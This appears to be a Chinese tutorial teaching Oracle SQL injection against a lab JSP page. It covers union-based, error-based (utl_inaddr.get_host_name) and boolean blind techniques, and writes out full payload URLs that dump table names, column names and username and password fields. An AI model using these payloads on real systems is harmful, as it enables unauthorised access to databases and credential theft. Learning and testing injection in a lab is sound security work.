本篇文章給大家帶來了關于Oracle注入的相關知識,其中包括注入的基本步驟以及報錯等問題,希望對大家有幫助。

一、Oracle的獲取數據的基本技巧
1.特殊表
? dual表
◆ 是一個虛擬的表,用來構成select的語法規則,oracle保證dual里面永遠只有一條記錄。
? user_tables表
◆ 該表的table_name列存放著當前數據庫的所有表。
? user_tab_columns表
◆ 該表的column_name 存放著表的所有列。
2. Oracle查詢需要帶上表名
? 如select * from xxx (有一個萬能的表:dual表)。
3. 單行子查詢返回多行需使用 where rownum=1來規范
? rownum 是偽序列數,總是從1開始。
? oracle數據庫從數據文件或緩沖區中讀取數據的順序。
? 它取得第一條記錄則rownum值為1,第二條為2,依次類推。
4.一些基本的后續注入需要用到的內置函數
1. length()用法:
length(char) :返回字符串的長度。
2. COUNT(*)用法:
COUNT(*) 函數,返回在給定的選擇中被選的行數。
3. ascii()用法:
ascii(char) 表示將字符轉換為ASCII碼。
4. SUBSTR用法:
SUBSTR( 源字符串, 查找起始位置, [ 長度 ] )返回值為源字符串中指定起始位置和長度的字符串。
5. INSTR用法:
INSTR(源字符串, 要查找的字符串, 從第幾個字符開始, 要找到第幾個匹配的序號)返回找到的位置,如果找不到則返 回0. 默認查找順序為從左到右。當起始位置為負數的時候,從右邊開始查找。若起始位置為0,返回值為0。
還有一些函數在后續的文章用到時解釋。
二、各基本注入類型基本步驟
環境為VMware上的以win2003為系統 jsp+Oracle的簡易網頁。
1.oracle聯合查詢注入
1.尋找注入點
這一步在我的實驗環境中表現的很明顯,但是在真實環境中,還是需要找到合適的注入點,基本的步驟就是找到與數據庫交互的輸入框,然后判斷這個輸入框的數據類型,以及它的數據的閉合方式,然后添加一些判斷語句查看是否存在注入。

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' or 1=2 --

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' and 1=2 --
在手動添加了一條數據過后,通過構造不同的payload,我們發現url是存在注入漏洞的,我們輸入的payload達到了它的效果。
3.判斷列數
Oracle數據庫同樣是通過order by 進行查詢數據表的列數判斷,order by必須是select -list表達式的列數,在真實環境中的一個表的列數可能數目較多,因此在列數判斷中我們最好使用二分法。

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' order by 3 --
在order by 3時頁面正常,但是在order by 4 時頁面出現錯誤,因此該查詢表的列數為3
4.Oracle聯合查詢
跟之前的學習的MySQL以及SQL server一樣,Oracle同樣通過union 來實現聯合查詢注入,并且不用跟SQL server聯合查詢注入一樣添加all,僅只用union就行,但是依舊要跟SQL server聯合查詢注入一樣判斷后續各列的數據類型。
接下里我們首先查看回顯位

http://10.1.5.34:8080/SqlInjection/selcet? union select null,null,null from dual --
因為在Oracle數據庫中的select查詢語句必須跟上查詢列表,所以在union后面的select查詢語句我們必須跟上from dual ,dual表是Oracle數據庫中自帶的虛擬表,可當萬能用。
我們看到三個列全部會回顯在頁面上
下面我們還要通過更改null判斷各個回顯位的數據類型

http://10.1.5.34:8080/SqlInjection/selcet? union select '1',null,null from dual --
判斷出1號位的數據類型位字符型,接下來我們就可以通過構造不同的payload替換'1',來查詢到我們想要的數據
select user from dual 獲取用戶名

http://10.1.5.34:8080/SqlInjection/selcet? union select user,null,null from dual --
select banner from sys.v_$version where rownum=1 獲取版本

http://10.1.5.34:8080/SqlInjection/selcet? union select banner,null,null from sys.v_$version where rownum=1 --
借助聯合查詢和默認表 user_tables獲取當前數據庫所有表名(第一行的)。

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' union select table_name,null,null from user_tables where rownum=1--
查看下一行表名
http://10.1.5.34:8080/SqlInjection/selcet?sname=1' union select table_name,null,null from user_tables where rownum=1 and table_name<>'T_USER'--
沒有其他的表,只有T_USER
如果可以顯示多行數據,則可以通過以下代碼查看到T-USER所有的列名,不能就只能通過跟上面類似的方法 用“<>”添加附加條件,去除已經查看到的數據然后查看下一行數據

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' union select column_name,null,null from user_tab_columns where table_name='T_USER'--
獲取T_USER表中字段為SNAME、SUSER、SPWD,然后獲得他們的值
因為之前判斷過1,2,3號位都回顯,且都為字符型,所以下面一次性查詢,如果只有一個也可以一個一個的查詢

10.1.5.34:8080/SqlInjection/selcet?sname=1' union select SNAME,SUSER,SPWD from T_USER--
獲取數據
因為靶場比較簡陋,所以實驗過程只是體現自己的注入思路,并不代表T_USER表中的東西就是后臺賬號之內的敏感數據,真實環境中,你查詢的數據可以是任何你能查詢到數據。
2.Oracle報錯注入
1.尋找注入點
當你發現你找到的注入點在輸入錯誤數據會反彈數據庫原始報錯信息時,我們就可以使用報錯注入。然后前面的步驟基本一致,都是先找注入點,然后分析閉合方式。
2.報錯注入
Oracle報錯注入——類型轉換錯誤和報錯函數。
payload:1=utl_inaddr.get_host_name((SQL語句))
查詢結果: ORA-29257: 未知的主機 結果
10.1.5.34:8080/SqlInjection/selcet?sname=1' and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1)) --
T_USER即我們想要查詢的表名,如果不止一個也可以通過上面聯合查詢注入中提到的方法,在sql語句中添加附加'<>'條件遍歷表名。
跟聯合查詢用到的相同的語句查到接下來的列名,數據
下面我們可以用到一個函數來改變之前遍歷每個數據的麻煩:sys.stragg()在單行中獲取所有行信息。

10.1.5.34:8080/SqlInjection/selcet?sname=1' and 1=utl_inaddr.get_host_name((select sys.stragg('~'||SUSER||'~') from T_USER))--
||是Oracle中的字符拼接符號,在以上payload使用的時候需要將其更改為%7C%7C,即它的url編碼。
我們通過拼接其他符號以及sys,stragg()函數使我們能夠清晰的分辨數據表中這個字段每一行的數據,在之前的聯合查詢注入同樣可以使用到這個函數,省去遍歷的麻煩
3.Oracle布爾盲注
1.尋找注入點
使用條件:HTTP返回包中沒有執行結果的數據和報錯信息。
當你發出你構造的payload時,頁面并沒有產生變化,即說明你的payload正確。
跟上面兩種注入一樣尋找注入點。
Oracle盲注核心——字符串截取函數、ascii轉換函數、條件判斷語句。
要注意的是在截斷函數中長度是包含開始截取位置那一位的。
2.Oracle布爾盲注
步驟跟之前的順序是一致的 拿表名-列名-數據,這里就不一一列舉了,主要說重點。
我們在拿一個數據時,比如說表名,我們需要先判斷他的長度
10.1.5.34:8080/SqlInjection/selcet?suser=&sname=1' and (select length(table_name) from user_tables where rownum=1)=6--
我們可以先將=改為>或者<然后通過二分法逐步的縮小范圍,最終確定表名一共有6位。
http://10.1.5.34:8080/SqlInjection/selcet?sname=1' and (select ascii(substr(table_name,1,1)) from user_tables where rownum=1)=84--
然后就用截取函數 先截取表名的第一個字符,然后轉譯為ascii碼,同樣可以通過>或者<逐漸縮小范圍最終確定表名第一個字符ascii碼為84 即為T,以此類推獲得完整表名
如果會使用burpsuit的話,可以通過burpsuit暴力破解,設置截取位置以及等于號后面的數字來跑出表名。
所有數據均可使用同樣的方法獲取
推薦教程:《Oracle教程》
站長資訊網